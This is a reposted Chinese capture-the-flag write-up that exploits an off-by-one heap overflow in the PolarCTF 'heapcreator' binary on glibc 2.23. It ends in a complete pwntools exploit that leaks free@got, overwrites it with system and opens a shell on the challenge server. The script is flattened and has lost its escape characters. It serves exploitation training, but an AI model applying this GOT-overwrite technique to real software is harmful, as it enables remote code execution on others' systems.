【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

admin 2025年1月11日23:13:19评论2 views字数 2003阅读6分40秒阅读模式

题目

polarctf 2024冬季个人挑战赛 heapcreator

思路

前面一篇文章讲过Off-By-One在一次申请时候只添加一个输入Size大小的堆块

【PWN】堆溢出2.23 Off-By-One

然而这道题不太一样,申请几个chunk发现一次会创建两个堆块,其中的一个0x20大小的为固定头,记录着我们所实际申请堆块的大小和地址。

【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

同时存在全局指针控制每个堆块的地址

【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

反编译之后看到编辑功能处存在堆溢出Off-By-One漏洞

【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

*(&heaparray + v1)即指向第v1个堆块的固定头位置

第一个参数先+1再*即指向固定头第二参数指向的地址,也就是堆块实际存储content的地址

【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

第二个参数先*再+1即指向第一个固定头的第一个参数然后+1,也就是可以多读入一字节,造成Off-By-One

【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

思路就比较明确了,通过堆溢出修改大小造成堆块重叠,重新申请后做到可以修改固定头指向实际内容堆的指针,通过泄露和修改free@got的内容,构造free(‘/bin/sh’)为实际执行system(‘/bin/sh’)

调试

新建两个堆块,实际分配了四个堆

【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

编辑堆块0,使其溢出至下一个堆块的固定头部分并修改大小为0x41

【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

Free掉1号堆块,那么一号堆块的0x40和0x20都会放入bin中

从而产生了堆块覆盖

【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

此时申请一个0x30大小的堆块,会把原来存内容的0x20分配给新的固定头,会把原来0x20被修改为0x40的堆块分配给新的存内容的堆块,也就是我们可以通过堆块体控制那个固定头的堆块了

当我们把堆块2固定头存储内容的地址改为free@got时,调用show方法打印出free@got中存储的内容从而计算出libc基址

【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

通过edit方法修改固定头指针指向的内容,也就是把free@got存储的值改为了system@libc

【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

最后执行free(‘/bin/sh’)即实际上执行了system(‘/bin/sh’)

代码

Libc选择libc6_2.23-0ubuntu11.3_amd64

from pwn import *from LibcSearcher import *context(log_level ='debug', arch ='amd64', os ='linux')= remote('1.95.36.136'2132)#p=process('./heapcreator')elf = ELF('./heapcreator')libc=ELF('./libc-2.23.so')def debug():    gdb.attach(p)    pause()def create(size,content):    p.sendlineafter(b"Your choice :", b"1")    p.sendlineafter(b"Size of Heap : ", str(size))    p.sendafter(b"Content of heap:", content)def show(idx):    p.sendlineafter(b"Your choice :", b"3")    p.sendlineafter(b'Index :',str(idx))def free(idx):    p.sendlineafter(b"Your choice :", b"4")    p.sendlineafter(b'Index :',str(idx))def edit(idx, content):    p.sendlineafter(b"Your choice :", b"2")    p.sendlineafter(b"Index :", str(idx))    p.sendafter(b"Content of heap : ", content)free_got = elf.got['free']create(0x18,b'AAAA')#0create(0x10,b'BBBB')#1edit(0, b'/bin/shx00'+ b'a'*0x10+ b'x41')free(1)create(0x30,p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got))show(1)free_got_addr = u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))libc = LibcSearcher('free', free_got_addr)libc_base = free_got_addr - libc.dump('free')system_addr = libc_base + libc.dump('system')edit(1,p64(system_addr))free(0)p.interactive()

 【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

原文始发于微信公众号(智佳网络安全):【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月11日23:13:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)https://cn-sec.com/archives/3620514.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息